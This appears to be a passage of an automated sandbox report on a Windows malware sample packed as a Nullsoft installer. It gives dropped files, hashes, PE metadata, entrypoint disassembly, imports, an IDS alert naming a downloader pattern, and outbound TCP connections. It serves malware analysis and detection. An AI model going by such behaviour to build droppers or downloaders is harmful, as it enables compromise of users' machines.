Preview:	......JFIF.............C................................... $.' ",#..(7),01444.'9=82<.342...C...........2!.!22222222222222222222222222222222222222222222222222..........."............................................................}........!1A..Qa."q.2....#B...R..$3br........%&'()456789:CDEFGHIJSTUVWXYZcdefghijstuvwxyz..............................................................................................................................w.......!1..AQ.aq."2...B.....#3R..br...$4.%.....&'()56789:CDEFGHIJSTUVWXYZcdefghijstuvwxyz....................................................................................?...1.Y7$.....h......Z....ZD...&..._.m.'0.......Z...C`.oO4.I..9...).YH..Y7..k\.......lP..........\..._.u...u?.d....\.AN...O........).......g-...g..c..^~z...!...A.....4..Gc[.\.1}.w.Z........w...2.?.*x>.}j..SS.p....{.<O./.-......._...z.H.n...EU.h.5..iY.}...CT..;.YST .``..-+.>e...0@.J......o.f. .k.c...F.D.=S..?z.=K(......u..;...<...Z.m..~.........~..gI.....u...G

C:\Users\user\Slutafregningers175\ammunitionsfabrikkers\Jaspoid\peptonize.jpg

Download File

Process:	C:\Users\user\Desktop\SecuriteInfo.com.Win32.Evo-gen.26137.19757.exe
File Type:	JPEG image data, JFIF standard 1.01, aspect ratio, density 1x1, segment length 16, baseline, precision 8, 85x514, components 3
Category:	dropped
Size (bytes):	6698
Entropy (8bit):	7.913586766253015
Encrypted:	false
SSDEEP:	96:RhDE/bw4VVlkoldIEd3q30RogKpZD1429e7hMbEUoH1Im5nw4xZt2pjpfG8Jk:LDCw4VsaSEda3JgKT87h4spnw4/t4rJk
MD5:	171FB9CF38673F2775687EEABD5C17F9
SHA1:	91E101B39EA447C2AE37895D9928BD76A658D83B
SHA-256:	6F5866884FEEC2E4E5849FFB69C597DF8A49334714F62793469C7617240FEF78
SHA-512:	B253BD7961991ABFCF2B44516F0124EA0A5A2E20985B68F97D80509C6D879DBBCBC26749C1E641AC85B566A66D3CF46FB3B86ED34920B20BF20D21F8FB24B63A
Malicious:	false
Preview:	......JFIF.............C................................... $.' ",#..(7),01444.'9=82<.342...C...........2!.!22222222222222222222222222222222222222222222222222........U.."............................................................}........!1A..Qa."q.2....#B...R..$3br........%&'()456789:CDEFGHIJSTUVWXYZcdefghijstuvwxyz..............................................................................................................................w.......!1..AQ.aq."2...B.....#3R..br...$4.%.....&'()56789:CDEFGHIJSTUVWXYZcdefghijstuvwxyz....................................................................................?..E...Z.a.(.......M...P.b.S..7.....<u.....".EHE4.i.+..q..T.\\|..Z.=.v.jj.h.......S.[..)h.H....-..11...O.M"....E8.*.F....S.1....Z......4.jx.......R..Pih.H....S.HzS..2h.c.h.p".qi.N.......<u..`..Lhv8..R..#...(.1.!.Ph....h......g.U...'.V..zS.F...sR.D....:........8..Hh..QJh..E...'./..E.".F..).Z...!..L.)..sR...5Bw.SiGjC.....H....S.....X...5...])..G..q...Z..<zQ%.E.^

C:\Users\user\Slutafregningers175\ammunitionsfabrikkers\Jaspoid\polysomatic.txt

Download File

Process:	C:\Users\user\Desktop\SecuriteInfo.com.Win32.Evo-gen.26137.19757.exe
File Type:	ASCII text, with CRLF line terminators
Category:	dropped
Size (bytes):	565
Entropy (8bit):	4.507713117297587
Encrypted:	false
SSDEEP:	12:78zhwZSb69J6TdesZIhFSzCondQEvM76qjzJ9tD:78zhoS8+ZIhFSzCJGSjBD
MD5:	8751DD1639F8457EFB017CCD2FDE0F25
SHA1:	21784460C75DAC9412FCA4E971EC9FEDBA1BB8BC
SHA-256:	254BB3E52AA738F17CBEF508E541FBBE928576F4FBBFCEE39ACC6C3025351991
SHA-512:	1B3F6823586BDA4AAEF8795D5AAEBC787EAA9AB4F2D9D9110B30CD71D95BF22CE7B4782647707A0C32855D24BB1C84F89F61DA527281DAD3DEB161851E20E531
Malicious:	false
Preview:	;sennepsfrs promethean rolige printertyper investitive.Townhome weekdays genfundnes kriminaldommer distriktsjordemoderen syndebukkenes..;corina piqued stegeserne bagflikkendes.Tnke tine jernmalms sierne bedriftsvrnets stumtjener..Viny retransmits ghostlikeness bertelsens merbonde nonauthoritative isovalerianic,rotundens supergallantness hestebremsernes..[EFTERKRAVS DENOTATION]......palaeographically systolic wereass propels nordenvinde fusional,sensating decident engulfs encephalomyocarditis sadeltages ansttelsesaarets spinderiet bats oppositipetalous liesh..

C:\Users\user\Slutafregningers175\ammunitionsfabrikkers\Jaspoid\stridsmndene.jpg

Download File

Process:	C:\Users\user\Desktop\SecuriteInfo.com.Win32.Evo-gen.26137.19757.exe
File Type:	JPEG image data, JFIF standard 1.01, aspect ratio, density 1x1, segment length 16, baseline, precision 8, 427x699, components 3
Category:	dropped
Size (bytes):	35074
Entropy (8bit):	7.929273166684339
Encrypted:	false
SSDEEP:	768:/1qAL9ONp6yNZmL45EqsbSeIcggTHYRFvmgj14:/wW9DyLmc5xsmsg7R9ma4
MD5:	E02B537614B9A3B20897B2CE88362B2F
SHA1:	9E0BBCF243960400626DF59CE2F00A99D28464E5
SHA-256:	5833AF3396DEF24CE4EBF4CABC1E4B7C47564835167F977C25FF8CBDCC568306
SHA-512:	7014B6B8AB45E09735151E40FBD701D7CD7164E79AF7FD0FDB1497BD8AEDC092FEAB4CC443362EDD8E3F82993DF87E1E9ADB3A576A267BDCDE4C94E941A20140
Malicious:	false
Preview:	......JFIF.............C................................... $.' ",#..(7),01444.'9=82<.342...C...........2!.!22222222222222222222222222222222222222222222222222..........."............................................................}........!1A..Qa."q.2....#B...R..$3br........%&'()456789:CDEFGHIJSTUVWXYZcdefghijstuvwxyz..............................................................................................................................w.......!1..AQ.aq."2...B.....#3R..br...$4.%.....&'()56789:CDEFGHIJSTUVWXYZcdefghijstuvwxyz....................................................................................?..VR...B.\n'.jN?.....Z.{C1.....@N.....P..;.#<b..L..}.wn.. .9..\.......@...M..&O.G.FX......>..s.?\...@..2M.?lPK.@..'".....?.h..'.....?..q...v(.'.q...r{.`..I.h.b.....s.K.Q.(....`.'.9...._....&....4..}?.!S.M7.=iw.S.S...sK...7q...I..M.;e..(9.z.q....ZNi.>.....Q..L..........c........0....O.....5S.......N}9....z.77..-.(.6....{..oA..\|..4....&..7.N...(##....j.

C:\Users\user\Slutafregningers175\ammunitionsfabrikkers\Jaspoid\strolld.jpg

Download File

Process:	C:\Users\user\Desktop\SecuriteInfo.com.Win32.Evo-gen.26137.19757.exe
File Type:	JPEG image data, JFIF standard 1.01, aspect ratio, density 1x1, segment length 16, baseline, precision 8, 547x605, components 3
Category:	dropped
Size (bytes):	40564
Entropy (8bit):	7.970435935833064
Encrypted:	false
SSDEEP:	768:EmF+WkDks/1TAMAlDmXMNHgnMSYb9dQfW44X7+znLdp0ja7xweTnuJ:EY+ksRAlDm0gMSYb/B44MnLdKja7eQn0
MD5:	5D97A896225E838266ED45E035111307
SHA1:	4C2B4255AB66255CB6FDBD1CC668D59A04FB0716
SHA-256:	6122CD9B5F6B422F502C1AE9621096E1CBDD1CC8519F9846D61B0EB050D9A360
SHA-512:	03802AD07BAA11F72843F6E8D9CBE477AAE608CF5FB6B6F3B2475A9CAF681FA6039F6520BAF3509FC2B45069550DDAA2901DFA5CDF28D2CF164621E105A14714
Malicious:	false
Preview:	......JFIF.............C................................... $.' ",#..(7),01444.'9=82<.342...C...........2!.!22222222222222222222222222222222222222222222222222......].#.."............................................................}........!1A..Qa."q.2....#B...R..$3br........%&'()456789:CDEFGHIJSTUVWXYZcdefghijstuvwxyz..............................................................................................................................w.......!1..AQ.aq."2...B.....#3R..br...$4.%.....&'()56789:CDEFGHIJSTUVWXYZcdefghijstuvwxyz....................................................................................?.....f....v...4H.&...X....u6...r6..u6'(*.&G.."5WJ.....#..9v.i.........?...k....DS}..j..v....d....m.J......@>........}i5...)...q....j....\N.?.O.u..?J.u....M......EoL95.xh.+...Q...?J......@>C..1.......}.].p......Z.."...U\...c]2...]i.sC.l.s..t'..Q1.......... .5......`.....\9..J...C.j...c.5;.2..w..U.......[..Z...n3p>..vqm.P#....k.'..</..WQ.jJ.u..J.T...E0.jSM"

C:\Users\user\Slutafregningers175\ammunitionsfabrikkers\Sammentrngende225.sth

Download File

Process:	C:\Users\user\Desktop\SecuriteInfo.com.Win32.Evo-gen.26137.19757.exe
File Type:	data
Category:	dropped
Size (bytes):	187748
Entropy (8bit):	1.2534161616514632
Encrypted:	false
SSDEEP:	3072:viD/FWcjS9V0XNgDhAq5q+ZhpMNY/rveNIvJWs99SBNGyCzrkGhrI:viD/FWcjS9V0XNgDhAq5q+ZhpMNY/rvi
MD5:	664F0CBD44998A34FE4B192AF58382C2
SHA1:	2EDB2244FD7C1D740DC8E5AA1EA559BB22BDA69D
SHA-256:	845B140AC14A7A324D4741347CE98213992C5B1604783765199D52D7FD4B7336
SHA-512:	389AEDDF6C015BCA238453013D6860CC160ABBE46D8BBB9CD0580EB33CB7B7EB78E3CADB42429076E45D0D0836D7C7F629C680CE7DAB3ACD0332142D56BEC0BC
Malicious:	false
Preview:	vvvvvvvvv.vvvvv..vvvvvv(vvvv.vvvvvvvvvvvvvvvv.vvvvvvvvvvvvvvvvvvvvvvvvvvvvvvvvvvvvvvvvvvvvv.vvvv.v.Zvvvvvvvvv..v,vvvvvvvv.vvvv'vvvvvvvvvvvvvvvvvvvvvvvvvvvvvvvvvvvvvvvvvv.vvvvv.vvvvvvvv.vvXvvvvvvvvvvqvvvv.vvv.vvvvvvvvv^vvvvvvvvvvvvvvvvvvvvvvvvvvvvvvvvvvv.vvv.vvvvvv.vvvvvvvvvvvvvvvvvvvvvvvvvvvvvvv.vvvvvvvvvvvvvvvvvvv..vvvvvvvvvvvvvvv\vvvv.vvvvvvvUvKvvvvvvvvvvvvvvvvvvvvvvvcvvvvvvvvvvvvvvvvvvvvvvmvvvvvvvvvvvvvvvvvvvvvvvvvv.vvvvvvvvvvvvvvvvvvvvvvvvm.vvvvvvvvvvvvvvvvvvvvvvvvvvvvvvvv.vvvvvvvvvv.vvvvvvvvvvvvvvvv.vvvvvvvvvvvvvvvvvvvvvvvvvvvv..vCvvvvvvvvvvvvvv.vvvvvvv v.vvvvvvvvvvvvvvvvvvvv.vvvvvvvvvvvvvvvvvvvvvvvvvvvvv.vvvvvvvyvv%vvvvvvvvvvv}vuvvvvv7vvvvvvvvvvvvvvvvvvvvvvvvvvvvvvvvvvvvvvvvvvvv(!vvvvvvvvvvvvvv.vvv.vvvv.vvvvvvv.vvvvvvv.vv.vvvvevvvvvv.vvvvvvvv.vvv.vvvvvvvvv.v.vvvvvv.vvvvvvvvvv/vvvvvvvvvvvvvvvvv..vvvvv.vvv.vvv.vvvvvvvvvvvvvvvvvvvvvvvvvvvvvvvvvvvvvvvv.vv.vvvvv.vvvvvvvvvv.vvlvvvvvvvvvv.vvvvvv.vvvvvvvvvvvvvvvvv.vvv.vvvvvvvvvvvvvvvvv.vvvvvvvv.vvvvvvvvvvvvvvvvvvvzvvvvvgvvvvvvvvvvvvvv(vv

C:\Users\user\Slutafregningers175\ammunitionsfabrikkers\Scotcher.Akt

Download File

Process:	C:\Users\user\Desktop\SecuriteInfo.com.Win32.Evo-gen.26137.19757.exe
File Type:	data
Category:	dropped
Size (bytes):	442710
Entropy (8bit):	7.095179683517557
Encrypted:	false
SSDEEP:	6144:L0vhg5OVtF/NFsNa2qIg9VYTx1Ym4e0QZS5Xiab54WUpXr:wvhg5OXx3sFWqYmN0QZexVCXr
MD5:	0525DE01989A10BA5950F190C627CF4E
SHA1:	7B69BF5708822EB00A19FADAC65E1FC53AD10E49
SHA-256:	447ED78CB5F606B2053CE1417C57E63E909860B3D4A0B54A8C4174187E679D33
SHA-512:	A9FDF44FD52A10A1EF7277347E5102D8F9EB00BD244EABB53811A8FA031BC5935AEEDC0260EA89A2643BB95C0FC90AB47AEAE5D2A420799576A780121D0176D5
Malicious:	false
Preview:	.....R.2......2....................................::...................................,,.......................66..........<......."....-.....;......0....................................!!..................................$....................33.Y..8....S.........H......................................................uu.ww........CC.......................F..b...wwww.......................................................................W...............~.VVV...77...3......./........,,,,.............?........M.................G...........H.......................dd.................k.TT.......\..............k..........................=====............8888..?.............................................................}}}}}.`......tt..................c...........q..............................!!!....)......................CC....iiii...N.......................p...**........Y..m.ww............ddd.............A......HHH...........ppp.`...........4444.......{{{................UU...''''........

C:\Users\user\depression.lnk

Download File

Process:	C:\Users\user\Desktop\SecuriteInfo.com.Win32.Evo-gen.26137.19757.exe
File Type:	MS Windows shortcut, Item id list present, Has Relative path, Has Working directory, ctime=Sun Dec 31 23:25:52 1600, mtime=Sun Dec 31 23:25:52 1600, atime=Sun Dec 31 23:25:52 1600, length=0, window=hide
Category:	dropped
Size (bytes):	864
Entropy (8bit):	3.2487469955980712
Encrypted:	false
SSDEEP:	12:8wl0ZsXowAOcuJEIJcw8P12yRy1J1FV0f+JRN1A4t2YZ/elFlSJm:86LgCzS72rsy+qy
MD5:	89089F57D8C759A65582D962D838C8DD
SHA1:	089EDC592B9C9E620EF83DB0421533F99CF7D808
SHA-256:	89A934EA5AF995C462254FCFC5FEB44759AF56BC77556D14EAD43A9E8C885091
SHA-512:	8F92EDC50CE2FCC5F54AA028B6A621CF2A83D485A0F1D2075255E293092A33487F750BD4AFEF47296592F8EB27898E72763B98899793136BE908859D736E87AA
Malicious:	false
Preview:	L..................F.............................................................P.O. .:i.....+00.../C:\...................P.1...........Users.<............................................U.s.e.r.s.....P.1...........user.<............................................j.o.n.e.s.....\.1...........Documents.D............................................D.o.c.u.m.e.n.t.s.....h.2...........populaton.neu.L............................................p.o.p.u.l.a.t.o.n...n.e.u...........\.D.o.c.u.m.e.n.t.s.\.p.o.p.u.l.a.t.o.n...n.e.u.@.C.:.\.U.s.e.r.s.\.j.o.n.e.s.\.S.l.u.t.a.f.r.e.g.n.i.n.g.e.r.s.1.7.5.\.a.m.m.u.n.i.t.i.o.n.s.f.a.b.r.i.k.k.e.r.s.\.J.a.s.p.o.i.d.............)...............#.F..l.H.i.)...............1SPS.XF.L8C....&.m.q............/...S.-.1.-.5.-.2.1.-.2.2.4.6.1.2.2.6.5.8.-.3.6.9.3.4.0.5.1.1.7.-.2.4.7.6.7.5.6.6.3.4.-.1.0.0.2.................

C:\Windows\appcompat\Programs\Amcache.hve

Download File

Process:	C:\Windows\SysWOW64\WerFault.exe
File Type:	MS Windows registry file, NT/2000 or above
Category:	dropped
Size (bytes):	1835008
Entropy (8bit):	4.465763237037183
Encrypted:	false
SSDEEP:	6144:IIXfpi67eLPU9skLmb0b4+WSPKaJG8nAgejZMMhA2gX4WABl0uNwdwBCswSbW:dXD94+WlLZMM6YFHi+W
MD5:	1AE65D68A3E1CDD581584310E78A9FA5
SHA1:	9E2E804C32E4010C1A513CD705C4BD50BA8770B0
SHA-256:	DB6F97F96DF9B5F00AE619CCA167C6B446B467D6DC1684D7106A9013F7A30DD9
SHA-512:	A40FBAFBE9EFF4C2EF781DE69331520D9C83043EADBE53C6D9E2868F057BE207CCA42AFA8FAACE4AAD403E61D3ADAC4B5CCB90C522C1F0F747CADB7C7AB00812
Malicious:	false
Preview:	regf6...6....\.Z.................... ...........\.A.p.p.C.o.m.p.a.t.\.P.r.o.g.r.a.m.s.\.A.m.c.a.c.h.e...h.v.e....c...b...#.......c...b...#...........c...b...#......rmtm.$...................................................................................................................................................................................................................................................................................................................................................?..........................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................

Static File Info

General

File type:	PE32 executable (GUI) Intel 80386, for MS Windows, Nullsoft Installer self-extracting archive
Entropy (8bit):	7.951120046834256
TrID:	Win32 Executable (generic) a (10002005/4) 99.96% Generic Win/DOS Executable (2004/3) 0.02% DOS Executable Generic (2002/1) 0.02% Autodesk FLIC Image File (extensions: flc, fli, cel) (7/3) 0.00%
File name:	SecuriteInfo.com.Win32.Evo-gen.26137.19757.exe
File size:	656'403 bytes
MD5:	32cb6ae82e91b97ac49e6df5412698a5
SHA1:	c1adc2d7d481fc1638676f7c87da93acd6e79318
SHA256:	3d29c1dac723e6cfea7beb14513bae42f49f5045f0ac8c9a604ff184045491dd
SHA512:	671ea9d45c21beeaece5f054c4fe9e67b1e20c62e05eb18c3fb00d47d988a40102b493c5c719e683804d71f48145e29c60898340b83ca9b4ec24d90ebeacbfb5
SSDEEP:	12288:1LVWnRxjpAholCSH+4l+JQtiJ7va2gsxytb0OmL2H8tEB2Ly6:1Lc/jp0ol7i+iNWsxZOmq8KALH
TLSH:	A5D4235596574A37FA62047015B2D133CBF0AD13763E231B33C26FBF3931AA5C99A226
File Content Preview:	MZ......................@...............................................!..L.!This program cannot be run in DOS mode....$.........(...F...F...F......F...G.v.F......F...v...F...@...F.Rich..F.........................PE..L....z.W.................^.........

File Icon


Icon Hash:	192c642d8ece6d0f

Static PE Info

General

Entrypoint:	0x4030d9
Entrypoint Section:	.text
Digitally signed:	false
Imagebase:	0x400000
Subsystem:	windows gui
Image File Characteristics:	RELOCS_STRIPPED, EXECUTABLE_IMAGE, LINE_NUMS_STRIPPED, LOCAL_SYMS_STRIPPED, 32BIT_MACHINE
DLL Characteristics:	DYNAMIC_BASE, NX_COMPAT, NO_SEH, TERMINAL_SERVER_AWARE
Time Stamp:	0x57017AA7 [Sun Apr 3 20:18:47 2016 UTC]
TLS Callbacks:
CLR (.Net) Version:
OS Version Major:	4
OS Version Minor:	0
File Version Major:	4
File Version Minor:	0
Subsystem Version Major:	4
Subsystem Version Minor:	0
Import Hash:	b78ecf47c0a3e24a6f4af114e2d1f5de

Entrypoint Preview

Instruction
sub esp, 00000184h
push ebx
push esi
push edi
xor ebx, ebx
push 00008001h
mov dword ptr [esp+18h], ebx
mov dword ptr [esp+10h], 00409198h
mov dword ptr [esp+20h], ebx
mov byte ptr [esp+14h], 00000020h
call dword ptr [004070A8h]
call dword ptr [004070A4h]
cmp ax, 00000006h
je 00007FC77CD7D013h
push ebx
call 00007FC77CD7FF81h
cmp eax, ebx
je 00007FC77CD7D009h
push 00000C00h
call eax
mov esi, 00407298h
push esi
call 00007FC77CD7FEFDh
push esi
call dword ptr [004070A0h]
lea esi, dword ptr [esi+eax+01h]
cmp byte ptr [esi], bl
jne 00007FC77CD7CFEDh
push ebp
push 00000009h
call 00007FC77CD7FF54h
push 00000007h
call 00007FC77CD7FF4Dh
mov dword ptr [00423704h], eax
call dword ptr [00407044h]
push ebx
call dword ptr [00407288h]
mov dword ptr [004237B8h], eax
push ebx
lea eax, dword ptr [esp+38h]
push 00000160h
push eax
push ebx
push 0041ECC8h
call dword ptr [00407174h]
push 00409188h
push 00422F00h
call 00007FC77CD7FB77h
call dword ptr [0040709Ch]
mov ebp, 00429000h
push eax
push ebp
call 00007FC77CD7FB65h
push ebx
call dword ptr [00407154h]

Rich Headers

Programming Language:

[EXP] VC++ 6.0 SP5 build 8804

Data Directories

Name	Virtual Address	Virtual Size	Is in Section
IMAGE_DIRECTORY_ENTRY_EXPORT	0x0	0x0
IMAGE_DIRECTORY_ENTRY_IMPORT	0x7428	0xa0	.rdata
IMAGE_DIRECTORY_ENTRY_RESOURCE	0x36000	0x4748	.rsrc
IMAGE_DIRECTORY_ENTRY_EXCEPTION	0x0	0x0
IMAGE_DIRECTORY_ENTRY_SECURITY	0x0	0x0
IMAGE_DIRECTORY_ENTRY_BASERELOC	0x0	0x0
IMAGE_DIRECTORY_ENTRY_DEBUG	0x0	0x0
IMAGE_DIRECTORY_ENTRY_COPYRIGHT	0x0	0x0
IMAGE_DIRECTORY_ENTRY_GLOBALPTR	0x0	0x0
IMAGE_DIRECTORY_ENTRY_TLS	0x0	0x0
IMAGE_DIRECTORY_ENTRY_LOAD_CONFIG	0x0	0x0
IMAGE_DIRECTORY_ENTRY_BOUND_IMPORT	0x0	0x0
IMAGE_DIRECTORY_ENTRY_IAT	0x7000	0x298	.rdata
IMAGE_DIRECTORY_ENTRY_DELAY_IMPORT	0x0	0x0
IMAGE_DIRECTORY_ENTRY_COM_DESCRIPTOR	0x0	0x0
IMAGE_DIRECTORY_ENTRY_RESERVED	0x0	0x0

Sections

Name	Virtual Address	Virtual Size	Raw Size	MD5	Xored PE	ZLIB Complexity	File Type	Entropy	Characteristics
.text	0x1000	0x5c5b	0x5e00	3d4c7426917ca8533fbfc9cd63e19ba3	False	0.6603640292553191	data	6.411487375491561	IMAGE_SCN_CNT_CODE, IMAGE_SCN_MEM_EXECUTE, IMAGE_SCN_MEM_READ
.rdata	0x7000	0x1246	0x1400	43fab6a80651bd97af8f34ecf44cd8ac	False	0.42734375	data	5.005029341587408	IMAGE_SCN_CNT_INITIALIZED_DATA, IMAGE_SCN_MEM_READ
.data	0x9000	0x1a7f8	0x400	00798d060e552892531c88ed1710ae2c	False	0.6376953125	data	5.108396988130901	IMAGE_SCN_CNT_INITIALIZED_DATA, IMAGE_SCN_MEM_READ, IMAGE_SCN_MEM_WRITE
.ndata	0x24000	0x12000	0x0	d41d8cd98f00b204e9800998ecf8427e	False	0	empty	0.0	IMAGE_SCN_CNT_UNINITIALIZED_DATA, IMAGE_SCN_MEM_READ, IMAGE_SCN_MEM_WRITE
.rsrc	0x36000	0x4748	0x4800	aee2d632d6be6526458f55449bbb7ed1	False	0.5030924479166666	data	4.610743128074616	IMAGE_SCN_CNT_INITIALIZED_DATA, IMAGE_SCN_MEM_READ

Resources

Name	RVA	Size	Type	Language	Country	ZLIB Complexity
RT_ICON	0x36298	0x25a8	Device independent bitmap graphic, 48 x 96 x 32, image size 9600	English	United States	0.512655601659751
RT_ICON	0x38840	0x10a8	Device independent bitmap graphic, 32 x 64 x 32, image size 4224	English	United States	0.5295497185741088
RT_ICON	0x398e8	0x468	Device independent bitmap graphic, 16 x 32 x 32, image size 1088	English	United States	0.6391843971631206
RT_DIALOG	0x39d50	0x144	data	English	United States	0.5216049382716049
RT_DIALOG	0x39e98	0x100	data	English	United States	0.5234375
RT_DIALOG	0x39f98	0x11c	data	English	United States	0.6091549295774648
RT_DIALOG	0x3a0b8	0xc4	data	English	United States	0.5918367346938775
RT_DIALOG	0x3a180	0x60	data	English	United States	0.7291666666666666
RT_GROUP_ICON	0x3a1e0	0x30	data	English	United States	0.8333333333333334
RT_VERSION	0x3a210	0x1f4	data	English	United States	0.552
RT_MANIFEST	0x3a408	0x340	XML 1.0 document, ASCII text, with very long lines (832), with no line terminators	English	United States	0.5540865384615384

Imports

DLL	Import
KERNEL32.dll	SetEnvironmentVariableA, Sleep, GetTickCount, GetFileSize, GetModuleFileNameA, GetCurrentProcess, CopyFileA, GetFileAttributesA, SetFileAttributesA, GetWindowsDirectoryA, GetTempPathA, GetCommandLineA, lstrlenA, GetVersion, SetErrorMode, lstrcpynA, ExitProcess, GetFullPathNameA, GlobalLock, CreateThread, GetLastError, CreateDirectoryA, CreateProcessA, RemoveDirectoryA, CreateFileA, GetTempFileNameA, ReadFile, WriteFile, lstrcpyA, MoveFileExA, lstrcatA, GetSystemDirectoryA, GetProcAddress, CloseHandle, SetCurrentDirectoryA, MoveFileA, CompareFileTime, GetShortPathNameA, SearchPathA, lstrcmpiA, SetFileTime, lstrcmpA, ExpandEnvironmentStringsA, GlobalUnlock, GetDiskFreeSpaceA, GlobalFree, FindFirstFileA, FindNextFileA, DeleteFileA, SetFilePointer, GetPrivateProfileStringA, FindClose, MultiByteToWideChar, FreeLibrary, MulDiv, WritePrivateProfileStringA, LoadLibraryExA, GetModuleHandleA, GetExitCodeProcess, WaitForSingleObject, GlobalAlloc
USER32.dll	ScreenToClient, GetSystemMenu, SetClassLongA, IsWindowEnabled, SetWindowPos, GetSysColor, GetWindowLongA, SetCursor, LoadCursorA, CheckDlgButton, GetMessagePos, LoadBitmapA, CallWindowProcA, IsWindowVisible, CloseClipboard, SetClipboardData, EmptyClipboard, PostQuitMessage, GetWindowRect, EnableMenuItem, CreatePopupMenu, GetSystemMetrics, SetDlgItemTextA, GetDlgItemTextA, MessageBoxIndirectA, CharPrevA, DispatchMessageA, PeekMessageA, ReleaseDC, EnableWindow, InvalidateRect, SendMessageA, DefWindowProcA, BeginPaint, GetClientRect, FillRect, DrawTextA, EndDialog, RegisterClassA, SystemParametersInfoA, CreateWindowExA, GetClassInfoA, DialogBoxParamA, CharNextA, ExitWindowsEx, GetDC, CreateDialogParamA, SetTimer, GetDlgItem, SetWindowLongA, SetForegroundWindow, LoadImageA, IsWindow, SendMessageTimeoutA, FindWindowExA, OpenClipboard, TrackPopupMenu, AppendMenuA, EndPaint, DestroyWindow, wsprintfA, ShowWindow, SetWindowTextA
GDI32.dll	SelectObject, SetBkMode, CreateFontIndirectA, SetTextColor, DeleteObject, GetDeviceCaps, CreateBrushIndirect, SetBkColor
SHELL32.dll	SHGetSpecialFolderLocation, SHGetPathFromIDListA, SHBrowseForFolderA, SHGetFileInfoA, ShellExecuteA, SHFileOperationA
ADVAPI32.dll	RegDeleteKeyA, SetFileSecurityA, OpenProcessToken, LookupPrivilegeValueA, AdjustTokenPrivileges, RegOpenKeyExA, RegEnumValueA, RegDeleteValueA, RegCloseKey, RegCreateKeyExA, RegSetValueExA, RegQueryValueExA, RegEnumKeyA
COMCTL32.dll	ImageList_Create, ImageList_AddMasked, ImageList_Destroy
ole32.dll	OleUninitialize, OleInitialize, CoTaskMemFree, CoCreateInstance

Version Infos

Description	Data
Comments	becut megalichthys
LegalTrademarks	flamboyantizes kiksets rakkeren
OriginalFilename	undfangelsen resurceanvendelser.exe
Translation	0x0409 0x04e4

Possible Origin

Language of compilation system	Country where language is spoken	Map
English	United States

Network Behavior

Suricata IDS Alerts

Timestamp	SID	Signature	Severity	Source IP	Source Port	Dest IP	Dest Port	Protocol
2025-02-18T05:36:13.492333+0100	2803270	ETPRO MALWARE Common Downloader Header Pattern UHCa	2	192.168.2.4	49737	216.58.212.174	443	TCP

Network Port Distribution

TCP Packets

Timestamp	Source Port	Dest Port	Source IP	Dest IP
Feb 18, 2025 05:36:12.447098017 CET	49737	443	192.168.2.4	216.58.212.174
Feb 18, 2025 05:36:12.447148085 CET	443	49737	216.58.212.174	192.168.2.4
Feb 18, 2025 05:36:12.447238922 CET	49737	443	192.168.2.4	216.58.212.174
Feb 18, 2025 05:36:12.458929062 CET	49737	443	192.168.2.4	216.58.212.174
Feb 18, 2025 05:36:12.458961010 CET	443	49737	216.58.212.174	192.168.2.4
Feb 18, 2025 05:36:13.094813108 CET	443	49737	216.58.212.174	192.168.2.4
Feb 18, 2025 05:36:13.094924927 CET	49737	443	192.168.2.4	216.58.212.174
Feb 18, 2025 05:36:13.095954895 CET	443	49737	216.58.212.174	192.168.2.4
Feb 18, 2025 05:36:13.096018076 CET	49737	443	192.168.2.4	216.58.212.174
Feb 18, 2025 05:36:13.155922890 CET	49737	443	192.168.2.4	216.58.212.174
Feb 18, 2025 05:36:13.155947924 CET	443	49737	216.58.212.174	192.168.2.4
Feb 18, 2025 05:36:13.156380892 CET	443	49737	216.58.212.174	192.168.2.4
Feb 18, 2025 05:36:13.156431913 CET	49737	443	192.168.2.4	216.58.212.174
Feb 18, 2025 05:36:13.161855936 CET	49737	443	192.168.2.4	216.58.212.174
Feb 18, 2025 05:36:13.203332901 CET	443	49737	216.58.212.174	192.168.2.4
Feb 18, 2025 05:36:13.492358923 CET	443	49737	216.58.212.174	192.168.2.4
Feb 18, 2025 05:36:13.492444992 CET	49737	443	192.168.2.4	216.58.212.174
Feb 18, 2025 05:36:13.492475033 CET	443	49737	216.58.212.174	192.168.2.4
Feb 18, 2025 05:36:13.492520094 CET	49737	443	192.168.2.4	216.58.212.174
Feb 18, 2025 05:36:13.492623091 CET	49737	443	192.168.2.4	216.58.212.174
Feb 18, 2025 05:36:13.492665052 CET	443	49737	216.58.212.174	192.168.2.4
Feb 18, 2025 05:36:13.492713928 CET	49737	443	192.168.2.4	216.58.212.174
Feb 18, 2025 05:36:13.513720989 CET	49738	443	192.168.2.4	142.250.185.193
Feb 18, 2025 05:36:13.513741970 CET	443	49738	142.250.185.193	192.168.2.4
Feb 18, 2025 05:36:13.513900995 CET	49738	443	192.168.2.4	142.250.185.193
Feb 18, 2025 05:36:13.514045954 CET	49738	443	192.168.2.4	142.250.185.193
Feb 18, 2025 05:36:13.514055967 CET	443	49738	142.250.185.193	192.168.2.4
Feb 18, 2025 05:36:14.176980019 CET	443	49738	142.250.185.193	192.168.2.4
Feb 18, 2025 05:36:14.177073002 CET	49738	443	192.168.2.4	142.250.185.193
Feb 18, 2025 05:36:14.185688972 CET	49738	443	192.168.2.4	142.250.185.193
Feb 18, 2025 05:36:14.185717106 CET	443	49738	142.250.185.193	192.168.2.4
Feb 18, 2025 05:36:14.186096907 CET	443	49738	142.250.185.193	192.168.2.4
Feb 18, 2025 05:36:14.186413050 CET	49738	443	192.168.2.4	142.250.185.193
Feb 18, 2025 05:36:14.186918020 CET	49738	443	192.168.2.4	142.250.185.193
Feb 18, 2025 05:36:14.227344036 CET	443	49738	142.250.185.193	192.168.2.4
Feb 18, 2025 05:36:16.603224039 CET	443	49738	142.250.185.193	192.168.2.4
Feb 18, 2025 05:36:16.603322029 CET	49738	443	192.168.2.4	142.250.185.193
Feb 18, 2025 05:36:16.603780985 CET	443	49738	142.250.185.193	192.168.2.4
Feb 18, 2025 05:36:16.603847980 CET	49738	443	192.168.2.4	142.250.185.193
Feb 18, 2025 05:36:16.617878914 CET	443	49738	142.250.185.193	192.168.2.4
Feb 18, 2025 05:36:16.617952108 CET	49738	443	192.168.2.4	142.250.185.193
Feb 18, 2025 05:36:16.617965937 CET	443	49738	142.250.185.193	192.168.2.4
Feb 18, 2025 05:36:16.618010998 CET	49738	443	192.168.2.4	142.250.185.193
Feb 18, 2025 05:36:16.691322088 CET	443	49738	142.250.185.193	192.168.2.4
Feb 18, 2025 05:36:16.691397905 CET	443	49738	142.250.185.193	192.168.2.4
Feb 18, 2025 05:36:16.691550016 CET	49738	443	192.168.2.4	142.250.185.193
